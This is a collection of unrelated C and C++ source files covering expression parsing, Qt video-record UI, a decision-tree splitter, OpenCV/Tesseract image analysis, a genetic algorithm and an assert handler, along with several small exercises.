#include <stdio.h> #include <stdlib.h> #include <string> #include <cstring> #include <iostream> #include <vector> #include "DynamicArray.h" using namespace std; int GetPriority(char c){ if(c == '*' || c == '/') return 2; if(c == '+' || c == '-') return 1; return 0; } int isNumber(char c){ return c <= '9' && c >= '0'; } int isOperator(char c){ return c == '+' || c == '-' || c == '*' || c == '/'; } void NumberOperator(char* c){ // printf("%c\n", *c); } typedef struct MYCHAR{ LinkNode node; char* p;; } MyChar; MyChar* CreateMyChar(char* p){ MyChar* c = (MyChar*)malloc(sizeof(MyChar)); c->p = p; return c; } int isLeft(char* p){ return *p == '('; } void LeftOperate(LinkStack* stack, char* p){ MyChar* c = CreateMyChar(p); // printf("%c \n", *(c->p)); // test pushStack(stack, (LinkNode*)c); } int isRight(char* p){ return *p == ')'; } void RightOperate(LinkStack* stack){ while(sizeStack(stack) > 0){ MyChar* c = (MyChar*)topStack(stack); if(isLeft(c->p)){ // printf("%c \n", *(c->p)); // test popStack(stack); break; } popStack(stack); free(c); } } void OperatorOperate(LinkStack* stack, char* p){ MyChar* stack_char = (MyChar*)topStack(stack); if(stack_char == NULL){ LinkNode* node = (LinkNode*)CreateMyChar(p); pushStack(stack, node); return; } // 若栈顶的优先级小于插入的字符,则直接插入栈顶 if(GetPriority(*(stack_char->p)) < GetPriority(*p)){ pushStack(stack, (LinkNode*)CreateMyChar(p)); return; }else{ printf("==>%c ", *p); while(sizeStack(stack) > 0){ stack_char = (MyChar*)topStack(stack); if(GetPriority(*(stack_char->p)) < GetPriority(*p)){ pushStack(stack, (LinkNode*)CreateMyChar(p)); return; } popStack(stack); } } } int main() { char* str = "8+(3-1)*5"; char* p = str; LinkStack* stack = initStack(); // while(*p != '\0'){ // printf("%c ", *p); // cout << *p << endl; // p++; // } while(*p != '\0'){ if(isNumber(*p)) NumberOperator(p); if(isLeft(p)) LeftOperate(stack, p); if(isRight(p)) RightOperate(stack); OperatorOperate(stack, p); p++; } printf("\n"); return 0; }
#ifndef ANGRY_CAT #define ANGRY_CAT #include <stdexcept> using namespace std; class AngryCatException : public runtime_error { public: AngryCatException() : runtime_error("Made kitty angry!") { } AngryCatException(const string &err) : runtime_error(err) { } }; #endif
#include<iostream> void checar (float numero){ if(numero > 0){ std::cout << "Este numero e positivo"; }else{ std::cout << "Este numero e negativo"; } } int main(){ float numero = 0; std::cout << "Digite um numero: " << std::endl; std::cin >> numero; checar(numero); return 0; }
/* * robot_thread.h * Copyright: 2018 Shanghai Yikun Electrical Engineering Co,Ltd */ #ifndef ROBOT_THREAD_H #define ROBOT_THREAD_H #include "yikun_common/mysql/db_helper.h" #include <boost/thread.hpp> #include <boost/bind.hpp> #include "yikun_common/cluster_manager/robot_info.h" namespace yikun_common { class RobotThread { public: typedef boost::shared_ptr<yikun_common::RobotThread> Ptr; RobotThread(const Robot robot); ~RobotThread(); /** * @brief 开始线程 */ void start(); /** * @brief 结束线程 */ void stop(); private: /** * @brief 执行线程 */ void run(); /** * @brief 更新从机的状态信息 */ void update(); bool started_; ros::NodeHandle *nh_; Robot robot_; boost::thread *thread_; boost::recursive_mutex stop_mutex_; DbHelper::Ptr local_db_; RobotInfo::Ptr info_; }; }//namespace #endif // ROBOT_THREAD_H
// Question 5 => Check whether one string is a rotation of another /* 1. We have 2 string str1 and str2. 2. We will concatenate str1 with str1, and then check 3. If str2 is present in the concatenated string or not. If yes then return true 4. NOTE: The length of the two string should be same. */ #include<bits/stdc++.h> using namespace std; int main(){ string str1 = "abcde"; string str2 = "cdeab"; bool result; // Main logic if(str1.length() != str2.length()) result = false; else{ string temp = str1 + str1; if(temp.find(str2) != string::npos) result = true; } cout<<result<<endl; }
#ifndef _ReloadConf_H_ #define _ReloadConf_H_ #include "IProcess.h" class ReloadConf :public IProcess { public: ReloadConf(); virtual ~ReloadConf(); virtual int doRequest(CDLSocketHandler* socketHandler, InputPacket* inputPacket, Context* pt) ; virtual int doResponse(CDLSocketHandler* socketHandler, InputPacket* inputPacket, Context* pt ) ; }; #endif
#include "recordtable.h" #include "ui_recordtable.h" using namespace std; using namespace cv; RecordTable::RecordTable(QWidget *parent) : QDialog(parent), ui(new Ui::RecordTable) { ui->setupUi(this); ui->calendar->setIcon(QIcon(icons_folder+"sched.png")); rowcount = 0; videos_loaded = false; camera_ = NULL; // barra de tiempo Mat img; if(curr_style == dark_style) img = imread(BASE_DIR+"/images/timebar_black.png"); else img = imread(BASE_DIR+"/images/timebar_white.png"); cv::resize(img,img,cv::Size(360,40)); const uchar *qImageBuffer = (const uchar*)img.data; QImage* qimg = new QImage(qImageBuffer, img.cols, img.rows, img.step, QImage::Format_RGB888); ui->timebar_label->setPixmap(QPixmap::fromImage(qimg->rgbSwapped())); // por ahora deshabilito las alertas ui->show_alerts->setEnabled(false); } RecordTable::~RecordTable(){ delete ui; } void RecordTable::paintDay(QDate day,std::vector<RecordVideo> videos){ // crear la imagen IntervalsLabel* i_image = new IntervalsLabel(); connect(i_image,SIGNAL(iWasClicked(IntervalsLabel*,QPoint,QTime)),this,SLOT(imageClicked(IntervalsLabel*,QPoint,QTime))); bool dark = (curr_style == dark_style); i_image->paintImage(day,videos,dark); images_.push_back(i_image); // agregar nueva fila a la grilla: fecha | imagen QString date_string = day.toString("d/M/yy"); if(day == QDate::currentDate()){ if(curr_style == dark_style){ date_string = "<font color='lightblue'>"+date_string+"</font>"; }else{ date_string = "<font color='blue'>"+date_string+"</font>"; } } QLabel* date_string_label = new QLabel(date_string); dates_.push_back(date_string_label); ui->grid->addWidget(date_string_label,rowcount,0,1,1); ui->grid->addWidget(i_image,rowcount,1,1,1); rowcount++; } pair<int,int> getIndexesInDayInterval(vector<RecordVideo> intervals, QDate from,QDate to){ // TODO } void RecordTable::addVideos(Camera* camera, QDate from, QDate to){ if(!videos_loaded){ ui->camera_name->setText("Camara: "+camera->name_); videos_ = loadCameraVideos(camera); videos_loaded = true; camera_ = camera; } // buscar el indice del primer dia que este en el intervalo, y del ultimo para no recorrer toda la lista de intervalos //std::pair<int,int> indexes = getIndexesInDayInterval(videos_,from,to); // crear un vector que tenga el mismo tama;o de la longitud del intervalo de dias from_ = from; to_ = to; videos_per_day_.clear(); for(int i=0;i<=from.daysTo(to);i++){ vector<RecordVideo> rv; videos_per_day_.push_back(rv); } // recorrer videos_ en ese intervalo de indices for(int i=0/*indexes.first*/;i<videos_.size()/*indexes.second*/;i++){ RecordVideo interval = videos_[i]; QDate cur_init_date = QDateTime::fromMSecsSinceEpoch(interval.init_time).date(); QDate cur_end_date = QDateTime::fromMSecsSinceEpoch(interval.end_time).date(); // agregar el intervalo a videos_per_day if(cur_init_date == cur_end_date){ // obtener el indice en videos_per_day al que hay que agregar el intervalo qint64 days_diff = from.daysTo(cur_init_date); if(days_diff>0 && days_diff<videos_per_day_.size()){ // agregar al vector en esa posicion videos_per_day_[days_diff].push_back(interval); } }else{ // el intervalo abarca mas de un dia, agregarlo a todos los dias que abarca // obtener el indice del dia inicial y final qint64 days_diff1 = from.daysTo(cur_init_date); qint64 days_diff2 = from.daysTo(cur_end_date); // agregar los intervalos for(int j=days_diff1;j<=days_diff2;j++) if(j>0 && j<videos_per_day_.size()) videos_per_day_[j].push_back(interval); } } // pintar todos los dias aunque no haya videos .. for(uint i=0;i<videos_per_day_.size();i++) paintDay(from.addDays(i),videos_per_day_[i]); } void RecordTable::on_accept_clicked(){ this->close(); } void RecordTable::on_calendar_clicked(){ DoubleCalendar* calendar = new DoubleCalendar(this); calendar->setDays(from_,to_); connect(calendar,SIGNAL(newDays(QDate,QDate)),this,SLOT(newDays(QDate,QDate))); calendar->show(); } void RecordTable::newDays(QDate init,QDate end){ // limpiar la tabla.. for(uint d=0;d<dates_.size();d++) delete dates_[d]; dates_.clear(); for(uint i=0;i<images_.size();i++) delete images_[i]; images_.clear(); // agregar los nuevos elementos .. from_ = init; to_ = end; addVideos(camera_,from_,to_); } void RecordTable::imageClicked(IntervalsLabel* ilabel,QPoint global_event_pos,QTime time_clicked){ // El usuario hizo click en una imagen .. // Crear menu y agregar las opciones QMenu* mymenu = new QMenu(this); QString goto_msg = "Ir a "+QString::number(time_clicked.hour()) + "h" + QString::number(time_clicked.minute())+"m"; if(record_mode_on) mymenu->addAction(goto_msg); // buscar si hay un video en ese instante RecordVideo video_clicked; bool is_video = ilabel->getVideoByTime(time_clicked,video_clicked); if(is_video) mymenu->addAction("Abrir video"); mymenu->addAction("Ver detalle"); QAction* selectedItem = mymenu->exec(global_event_pos); if (selectedItem){ if(selectedItem->text() == "Abrir video"){ // Abrir el video seleccionado en el reproductor de videos por defecto QString filename = save_folder+"/"+ QString::fromStdString(camera_->unique_id_)+"/"+ QString::fromStdString(camera_->unique_id_)+"_"+ // id QString::number(video_clicked.init_time)+ "_"+ // init QString::number(video_clicked.end_time)+".mp4"; // end QDesktopServices::openUrl(QUrl(filename)); } if(selectedItem->text() == "Ver detalle"){ // abrir ventana que me muestre solo un dia de videos DetailedRecordTable* drt = new DetailedRecordTable(this); bool dark = (curr_style == dark_style); drt->addVideos(camera_,ilabel->date_,ilabel->videos_,dark); drt->show(); } if(selectedItem->text() == goto_msg) // cambiar el dia y hora de grabacion global emit changeRecordDateTime(QDateTime(ilabel->date_,time_clicked)); } }
#pragma once #ifndef SLOTH_WINDOW_H_ #define SLOTH_WINDOW_H_ #include <sloth.h> #include "info/info.h" #include <config/header.hpp> namespace sloth { class SlothWindow { private: int m_Width, m_Height; const char *m_Title; GLFWwindow *m_Window; bool m_IsRunning; public: SlothWindow(const char *name, int width, int height); ~SlothWindow(); void clear() const; inline bool isRunning() const { return m_IsRunning; } void close(); void update(); inline int getWidth() const { return m_Width; } inline int getHeight() const { return m_Height; } inline GLFWwindow* getGLFWwindow() const { return m_Window; } void setWidth(int width) { m_Width = width; } void setHeight(int height) { m_Height = height; } private: bool init(); void checkKeyboard(); }; } #endif // !SLOTH_WINDOW_H_
// Copyright 2012 Yandex #include <algorithm> #include "ltr/data/utility/io_utility.h" #include "ltr/learners/decision_tree/id3_splitter.h" #include "ltr/learners/decision_tree/compare_condition.h" #include "ltr/utility/numerical.h" using ltr::utility::DoubleEqual; using ltr::utility::DoubleLessOrEqual; namespace ltr { namespace decision_tree { int ID3_Splitter::getNextConditions(vector<Condition::Ptr>* result) { if (current_feature >= data_.feature_count()) { INFO("Current_feature is out of range."); return 0; } result->clear(); if (split_index == 0) { INFO("Split_index is equal to zero."); feature_values.clear(); numeric_split_values.clear(); feature_values.resize(data_.size()); double min_val = 1e9, max_val = -1e9; for (int j = 0; j < (int)data_.size(); j++) { double feature = feature_values[j] = data_[j][current_feature]; min_val = std::min(min_val, feature); max_val = std::max(max_val, feature); } std::sort(feature_values.begin(), feature_values.end()); feature_values.resize(std::unique(feature_values.begin(), feature_values.end(), DoubleEqual) - feature_values.begin()); if (feature_values.size() <= 1) { INFO("Number of features is less or equal than one."); current_feature++; split_index = 0; return getNextConditions(result); } if (split_feature_n_times_) { int split_cnt = feature_split_count_; if (split_cnt < (int)feature_values.size()) { for (int i = 0; i < split_cnt; i++) { numeric_split_values.push_back( min_val + (max_val - min_val) / split_cnt * i); } } else { for (int i = 0; i + 1 < (int)feature_values.size(); i++) { numeric_split_values.push_back( (feature_values[i] + feature_values[i + 1]) / 2); } } } else { for (int i = 0; i + 1 < (int)feature_values.size(); i += half_summs_step_) { numeric_split_values.push_back( (feature_values[i] + feature_values[i + 1]) / 2); } } } if (data_.feature_info().getFeatureType(current_feature) == BOOLEAN || data_.feature_info().getFeatureType(current_feature) == NOMINAL) { for (int j = 0; j < (int)feature_values.size(); j++) result->push_back( CompareConditionPtr(OneFeatureConditionPtr(current_feature), EQUAL, feature_values[j])); current_feature++; split_index = 0; } else { double split_val = numeric_split_values[split_index]; result->push_back( CompareConditionPtr( OneFeatureConditionPtr(current_feature), LESS_OR_EQUAL, split_val)); result->push_back( CompareConditionPtr( OneFeatureConditionPtr(current_feature), GREATER, split_val)); split_index++; if (split_index >= (int)numeric_split_values.size()) { split_index = 0; current_feature++; } } return 1; } void ID3_Splitter::setDefaultParameters() { split_feature_n_times_ = false; feature_split_count_ = 100; half_summs_step_ = 5; } void ID3_Splitter::checkParameters() { CHECK(feature_split_count_ >= 1); CHECK(half_summs_step_ >= 1); } void ID3_Splitter::setParametersImpl(const ParametersContainer& parameters) { split_feature_n_times_ = parameters.Get<bool>("SPLIT_FEATURE_N_TIMES"); feature_split_count_ = parameters.Get<int>("FEATURE_SPLIT_COUNT"); half_summs_step_ = parameters.Get<int>("HALF_SUMMS_STEP"); } void ID3_Splitter::init() { INFO("Starting to init ID3_Splitter."); current_feature = 0; split_index = 0; INFO("Inited. "); if (split_feature_n_times_) { INFO("Splitting every feature %d times", feature_split_count_); } else { INFO("Using half summs splitting. Step = %d", half_summs_step_); } } }; };
#include <iostream> #include <algorithm> typedef long long ll; using namespace std; int main() { ll n, a[300000], total = 0, m, q, b; cin >> n; for (int i = 0; i < n; i++) { cin >> b; total += b; a[i] = b; } sort(a, a + n, greater<int>()); cin >> m; for (int i = 0; i < m; i++) { cin >> b; cout << total - a[b - 1] << endl; } }
#include "ImageAnalyzer.h" #include "opencv2/highgui.hpp" #include "opencv2/imgcodecs.hpp" #include "opencv2/imgproc.hpp" #include <tesseract/strngs.h> #include <tesseract/genericvector.h> #include <stdlib.h> #include <assert.h> #include <locale> // Language Identifiers std::string ImageAnalyzer::EnglishIdent = "eng"; std::string ImageAnalyzer::LeagueIdent = "lol"; ImageAnalyzer::ImageAnalyzer(IMAGE_PATH_TYPE ImagePath, const std::string& configPath, std::shared_ptr<std::unordered_map<std::string, T_EMPTY>> relevantProperties): configFilename(configPath), relevantProperties(relevantProperties), bIsFinished(false), mImagePath(ImagePath), mData(new GenericDataStore) { // Load image immediately mImage = cv::imread(mImagePath, cv::IMREAD_UNCHANGED); // Determine which properties actually exist for(auto& kv : *relevantProperties) { isPropertyUsed[kv.first] = ConfigManager::Get()->Exists(configFilename, "Default", kv.first); if (!isPropertyUsed[kv.first]) { std::cout << "WARNING: Unused property: " << kv.first << std::endl; } } } ImageAnalyzer::~ImageAnalyzer() { } bool ImageAnalyzer:: GetPropertyValue(const std::string& key, std::string& outValue) { if(isPropertyUsed.find(key) == isPropertyUsed.end() || !isPropertyUsed[key]) { return false; } outValue = ConfigManager::Get()->GetStringFromINI(configFilename, "Default", key, ""); return true; } void ImageAnalyzer::ShowImage(cv::Mat& image) { cv::namedWindow("Window", cv::WINDOW_AUTOSIZE); cv::imshow("Window", image); cv::waitKey(0); cv::destroyWindow("Window"); } void ImageAnalyzer::ShowImageNoPause(cv::Mat& image, const char* name) { cv::namedWindow(name, cv::WINDOW_AUTOSIZE); cv::imshow(name, image); } std::string ImageAnalyzer::GetTextFromImage(cv::Mat& inImage, std::string& language, std::string whitelist, tesseract::PageSegMode mode, std::vector<std::string>* keys, std::vector<std::string>* values, bool useUserWords) { // Get the actual text. tesseract::TessBaseAPI tessApi; char const* baseDir = getenv("TESSDATA_DIR"); // Copy keys and values GenericVector<STRING> gKeys; GenericVector<STRING> gValues; if (keys && values) { for (auto& s : *keys) { gKeys.push_back(STRING(s.c_str())); } for (auto& s : *values) { gValues.push_back(STRING(s.c_str())); } } if (useUserWords) { gKeys.push_back(STRING("user_words_suffix")); gValues.push_back(STRING("user-words")); } tessApi.Init(baseDir, language.c_str(), tesseract::OEM_DEFAULT, NULL, 0, &gKeys, &gValues, false); if (!whitelist.empty()) { tessApi.SetVariable("tessedit_char_whitelist", whitelist.c_str()); } tessApi.SetPageSegMode(mode); tessApi.SetImage((uchar*)inImage.data, inImage.cols, inImage.rows, 1, inImage.cols); std::string result = tessApi.GetUTF8Text(); result.erase(std::remove_if(result.begin(), result.end(), iswspace), result.end()); return result; } // Create a histogram for the given image. // TODO: Cleanup this and the other create HS histogram functions. cv::MatND ImageAnalyzer::CreateHSHistogram(cv::Mat inImage, int hue_bins, int sat_bins) { cv::Mat hsvImage; cv::cvtColor(inImage, hsvImage, cv::COLOR_BGR2HSV); // Histogram properties // Source: http://docs.opencv.org/doc/tutorials/imgproc/histograms/histogram_comparison/histogram_comparison.html int histSize[] = { hue_bins, sat_bins }; float h_ranges[] = { 0, 180 }; float s_ranges[] = { 0, 256 }; const float* ranges[] = { h_ranges, s_ranges }; int channels[] = { 0, 1 }; cv::MatND retHist; cv::calcHist(&hsvImage, 1, channels, cv::Mat(), retHist, 2, histSize, ranges, true, false); cv::normalize(retHist, retHist, 0, 1, cv::NORM_MINMAX, -1, cv::Mat()); return retHist; } cv::MatND ImageAnalyzer::CreateVHistogram(cv::Mat inImage, int value_bins) { cv::Mat hsvImage; cv::cvtColor(inImage, hsvImage, cv::COLOR_BGR2HSV); // Histogram properties // Source: http://docs.opencv.org/doc/tutorials/imgproc/histograms/histogram_comparison/histogram_comparison.html int histSize[] = { value_bins }; float v_ranges[] = { 0, 256 }; const float* ranges[] = { v_ranges }; int channels[] = { 2 }; cv::MatND retHist; cv::calcHist(&hsvImage, 1, channels, cv::Mat(), retHist, 1, histSize, ranges, true, false); cv::normalize(retHist, retHist, 0, 1, cv::NORM_MINMAX, -1, cv::Mat()); return retHist; } // Generic Function to analyze a part of an image. // Will take an image and cut out a section. From that section, we will use ONE channel. Then we will resize the image. cv::Mat ImageAnalyzer::FilterImage_Section_Channel_BasicThreshold_Resize(cv::Mat inImage, const cv::Rect& section, int channel, double threshold, double resX, double resY) { cv::Mat newMat = FilterImage_Section(inImage, section); newMat = FilterImage_Channel(newMat, channel); newMat = FilterImage_BasicThreshold(newMat, threshold); newMat = FilterImage_Resize(newMat, resX, resY); return newMat; } cv::Mat ImageAnalyzer::FilterImage_Section_Grayscale_BasicThreshold_Resize(cv::Mat inImage, const cv::Rect& section, double threshold, double resX, double resY) { cv::Mat newMat = FilterImage_Section(inImage, section); newMat = FilterImage_Grayscale(newMat); newMat = FilterImage_BasicThreshold(newMat, threshold); newMat = FilterImage_Resize(newMat, resX, resY); return newMat; } // Basic OpenCV operations on images. cv::Mat ImageAnalyzer::FilterImage_Section(cv::Mat inImage, const cv::Rect& section) { cv::Rect toUseSection = section; if (section.x + section.width > inImage.cols) { toUseSection.width = inImage.cols - section.x; } if (section.y + section.height > inImage.rows) { toUseSection.height = inImage.rows - section.y; } return inImage(toUseSection); } cv::Mat ImageAnalyzer::FilterImage_Channel(cv::Mat inImage, int channel) { cv::Mat filterImage(inImage.rows, inImage.cols, CV_8UC1); int fromTo[] = { channel, 0 }; cv::mixChannels(&inImage, 1, &filterImage, 1, fromTo, 1); return filterImage; } cv::Mat ImageAnalyzer::FilterImage_2Channel(cv::Mat inImage, int channel1, int channel2, double fillValue) { cv::Mat filterImage (inImage.rows, inImage.cols, CV_8UC3, fillValue); int fromTo[] = { channel1, channel1, channel2, channel2 }; cv::mixChannels(&inImage, 1, &filterImage, 1, fromTo, 2); return filterImage; } cv::Mat ImageAnalyzer::FilterImage_BasicThreshold(cv::Mat inImage, double threshold) { cv::Mat newImage; cv::threshold(inImage, newImage, threshold, 255.0, cv::THRESH_BINARY); return newImage; } cv::Mat ImageAnalyzer::FilterImage_Resize(cv::Mat inImage, double resX, double resY) { cv::Size newSize; cv::Mat newImage; cv::resize(inImage, newImage, newSize, resX, resY); return newImage; } cv::Mat ImageAnalyzer::FilterImage_Grayscale(cv::Mat inImage) { cv::Mat newImage; cv::cvtColor(inImage, newImage, cv::COLOR_RGB2GRAY); return newImage; } // Split an Image into many parts. // It does its best to keep the same number of pixels in each section but once you reach the edge // it will resize as appropriate. No matter what, there won't be duplicated pixels. void ImageAnalyzer::SplitImage(cv::Mat& inImage, int x_dim, int y_dim, cv::Mat** out) { cv::Mat* res = *out; assert(res != NULL); int x_pos = 0; int y_pos = 0; bool y_perf = inImage.rows % y_dim == 0; bool x_perf = inImage.cols % x_dim == 0; for (int y = 0; y < y_dim; ++y) { x_pos = 0; int y_width = inImage.rows / y_dim + (y_perf ? 0 : 1); if (y == y_dim - 1 && inImage.rows % y_dim != 0) { y_width -= (y_width * y_dim - inImage.rows); } for (int x = 0; x < x_dim; ++x) { int x_width = inImage.cols / x_dim + (x_perf ? 0 : 1); if (x == x_dim - 1 && inImage.cols % x_dim != 0) { x_width -= (x_width * x_dim - inImage.cols); } cv::Rect rect(x_pos, y_pos, x_width, y_width); res[y * y_dim + x] = FilterImage_Section(inImage, rect); x_pos += x_width; } y_pos += y_width; } *out = res; } double ImageAnalyzer::TemplateMatching(cv::Mat templateImage, cv::Mat sourceImage, cv::Vec3b bgColor, cv::Point& matchPoint) { if (templateImage.channels() == 4) { cv::Mat mask; cv::inRange(templateImage, cv::Scalar(0, 0, 0, 0), cv::Scalar(255, 255, 255, 50), mask); templateImage.setTo(cv::Scalar((int)bgColor[0], (int)bgColor[1], (int)bgColor[2], 255), mask); cv::cvtColor(templateImage, templateImage, cv::COLOR_BGRA2BGR); } // Do template matching to find where we have a match cv::Mat matchResult; cv::matchTemplate(sourceImage, templateImage, matchResult, cv::TM_CCOEFF_NORMED); // Now find the minimum and maximum results double minVal; double maxVal; cv::Point minPoint; cv::Point maxPoint; cv::minMaxLoc(matchResult, &minVal, &maxVal, &minPoint, &maxPoint, cv::Mat()); matchPoint = maxPoint; return maxVal; } double ImageAnalyzer::SobelTemplateMatching(cv::Mat templateImage, cv::Mat sourceImage, cv::Vec3b bgColor, cv::Point& matchPoint) { cv::Mat sobelFilterImage; cv::Sobel(sourceImage, sobelFilterImage, CV_8U, 1, 0); cv::convertScaleAbs(sobelFilterImage, sobelFilterImage); // Before we do a sobel, we need to make sure we don't somehow trick ourselves into thinking that // the background is white and thus lose out some edges. This is only relevant when the image actually // has an alpha channel if (templateImage.channels() == 4) { cv::Mat mask; cv::inRange(templateImage, cv::Scalar(0, 0, 0, 0), cv::Scalar(255, 255, 255, 50), mask); templateImage.setTo(cv::Scalar((int)bgColor[0], (int)bgColor[1], (int)bgColor[2], 255), mask); cv::cvtColor(templateImage, templateImage, cv::COLOR_BGRA2BGR); } cv::Mat sobelKillImg; // Perform a Sobel edge detection on the image cv::Sobel(templateImage, sobelKillImg, CV_8U, 1, 0); cv::convertScaleAbs(sobelKillImg, sobelKillImg); // Do template matching to find where we have a match cv::Mat matchResult; cv::matchTemplate(sobelFilterImage, sobelKillImg, matchResult, cv::TM_CCOEFF_NORMED); // Now find the minimum and maximum results double minVal; double maxVal; cv::Point minPoint; cv::Point maxPoint; cv::minMaxLoc(matchResult, &minVal, &maxVal, &minPoint, &maxPoint, cv::Mat()); matchPoint = maxPoint; return maxVal; }
// // GA.cpp v0.1.0 // // Created by Luke on 2021/01/26. // #include "GA.hpp" #include <Siv3D.hpp> // OpenSiv3D v0.4.3 #include <queue> Genetic_Algorithm::Genetic_Algorithm(int32 NumAgents_,int32 Actions_,int32 Samples_,double MutationRate_,int32 RandomSample_): NumAgents(NumAgents_), Actions(Actions_), Samples(Samples_), MutationRate(MutationRate_), RandomSample(RandomSample_) { /* Numgents:個体数 Actions:行動の種類数 Samples:交配時に選ぶ個体数 MutationRate:突然変異が起こる確率 */ Agents=Grid<double>(Actions,NumAgents); for(auto i:step(NumAgents)){ for(auto j:step(Actions)){ Agents[i][j]=Random(); } } } Array<double> Genetic_Algorithm::reply(Array<double> rewards){ /* 適応度に基づいて個体の選別、交叉を行います 選別方法はエリートをいくつか選んで、それらで交叉させます rewards:各個体の適応度(スコア) */ // Rank std::priority_queue<std::pair<double, int>>que; for(auto i:step(NumAgents)){ que.push(std::make_pair(rewards[i], i)); } // Select some elites Grid<double>Elites(Actions,Samples); for(auto i:step(Samples)){ for(auto j:step(Actions)){ Elites[i][j]=Agents[int32(que.top().second)][j]; } que.pop(); } // make a next gene for(auto i:step(NumAgents-RandomSample)){ Array<double>first,second; int32 i_f=Random(Samples-1),i_s=Random(Samples-1); for(auto j:step(Actions)){ first<<Elites[i_f][j]; second<<Elites[i_s][j]; } int32 index=Random(Actions-1); for(auto j:step(index)){ if(Random()<MutationRate)Agents[i][j]=Random(); else Agents[i][j]=first[j]; } for(auto j:step(Actions-index)){ if(Random()<MutationRate)Agents[i][j+index]=Random(); else Agents[i][j+index]=second[j+index]; } } for(auto i:step(RandomSample)){ for(auto j:step(Actions)) Agents[NumAgents-i-1][j]=Random(); } Array<double>value; //return for(auto i:step(Actions)){ value<<Elites[0][i]; } return value; }
/*********************************************************\ * Copyright (c) 2012-2018 The Unrimp Team * * Permission is hereby granted, free of charge, to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or * substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. \*********************************************************/ //[-------------------------------------------------------] //[ Includes ] //[-------------------------------------------------------] #include <cstdarg> // Disable warnings in external headers, we can't fix them PRAGMA_WARNING_PUSH PRAGMA_WARNING_DISABLE_MSVC(4365) // warning C4365: '=': conversion from 'int' to '::size_t', signed/unsigned mismatch PRAGMA_WARNING_DISABLE_MSVC(4571) // warning C4571: Informational: catch(...) semantics changed since Visual C++ 7.1; structured exceptions (SEH) are no longer caught PRAGMA_WARNING_DISABLE_MSVC(4625) // warning C4625: 'std::codecvt_base': copy constructor was implicitly defined as deleted PRAGMA_WARNING_DISABLE_MSVC(4626) // warning C4626: 'std::codecvt_base': assignment operator was implicitly defined as deleted PRAGMA_WARNING_DISABLE_MSVC(4774) // warning C4774: 'sprintf_s' : format string expected in argument 3 is not a string literal #include <iostream> #include <string> PRAGMA_WARNING_POP #ifdef WIN32 // Disable warnings in external headers, we can't fix them PRAGMA_WARNING_PUSH PRAGMA_WARNING_DISABLE_MSVC(4365) // warning C4365: 'argument': conversion from 'const char' to 'utf8::uint8_t', signed/unsigned mismatch PRAGMA_WARNING_DISABLE_MSVC(4668) // warning C4668: '_M_HYBRID_X86_ARM64' is not defined as a preprocessor macro, replacing with '0' for '#if/#elif' PRAGMA_WARNING_DISABLE_MSVC(5039) // warning C5039: 'TpSetCallbackCleanupGroup': pointer or reference to potentially throwing function passed to extern C function under -EHc. Undefined behavior may occur if this function throws an exception. #include <utf8/utf8.h> // To convert UTF-8 strings to UTF-16 #include <windows.h> // Get rid of some nasty OS macros #undef max PRAGMA_WARNING_POP #elif LINUX // Nothing here #else #error "Unsupported platform" #endif //[-------------------------------------------------------] //[ Namespace ] //[-------------------------------------------------------] namespace Renderer { //[-------------------------------------------------------] //[ Public methods ] //[-------------------------------------------------------] inline StdAssert::StdAssert() { // Nothing here } inline StdAssert::~StdAssert() { // Nothing here } //[-------------------------------------------------------] //[ Public virtual Renderer::IAssert methods ] //[-------------------------------------------------------] inline bool StdAssert::handleAssert(const char* expression, const char* file, uint32_t line, const char* format, ...) { bool requestDebugBreak = false; // Get the required buffer length, does not include the terminating zero character va_list vaList; va_start(vaList, format); const uint32_t textLength = static_cast<uint32_t>(vsnprintf(nullptr, 0, format, vaList)); va_end(vaList); if (256 > textLength) { // Fast path: C-runtime stack // Construct the formatted text char formattedText[256]; // 255 +1 for the terminating zero character va_start(vaList, format); vsnprintf(formattedText, 256, format, vaList); va_end(vaList); // Internal processing requestDebugBreak = handleAssertInternal(expression, file, line, formattedText, textLength); } else { // Slow path: Heap // -> No reused scratch buffer in order to reduce memory allocation/deallocations in here to not make things more complex and to reduce the mutex locked scope // Construct the formatted text char* formattedText = new char[textLength + 1]; // 1+ for the terminating zero character va_start(vaList, format); vsnprintf(formattedText, textLength + 1, format, vaList); va_end(vaList); // Internal processing requestDebugBreak = handleAssertInternal(expression, file, line, formattedText, textLength); // Cleanup delete [] formattedText; } // Done return requestDebugBreak; } //[-------------------------------------------------------] //[ Protected virtual Renderer::StdAssert methods ] //[-------------------------------------------------------] inline bool StdAssert::handleAssertInternal(const char* expression, const char* file, uint32_t line, const char* message, uint32_t) { std::lock_guard<std::mutex> mutexLock(mMutex); bool requestDebugBreak = false; // Construct the full UTF-8 message text std::string fullMessage = "Assert message \"" + std::string(message) + "\" | Expression \"" + std::string(expression) + "\" | File \"" + std::string(file) + "\" | Line " + std::to_string(line); if ('\n' != fullMessage.back()) { fullMessage += '\n'; } // Platform specific handling #ifdef WIN32 { // Convert UTF-8 string to UTF-16 std::wstring utf16Line; utf8::utf8to16(fullMessage.begin(), fullMessage.end(), std::back_inserter(utf16Line)); // Write into standard output stream std::wcerr << utf16Line.c_str(); // On MS Windows, ensure the output can be seen inside the Visual Studio output window as well ::OutputDebugStringW(utf16Line.c_str()); if (::IsDebuggerPresent()) { requestDebugBreak = true; } } #elif LINUX // Write into standard output stream std::cerr << fullMessage.c_str(); requestDebugBreak = true; #else #error "Unsupported platform" #endif // Done return requestDebugBreak; } //[-------------------------------------------------------] //[ Namespace ] //[-------------------------------------------------------] } // Renderer
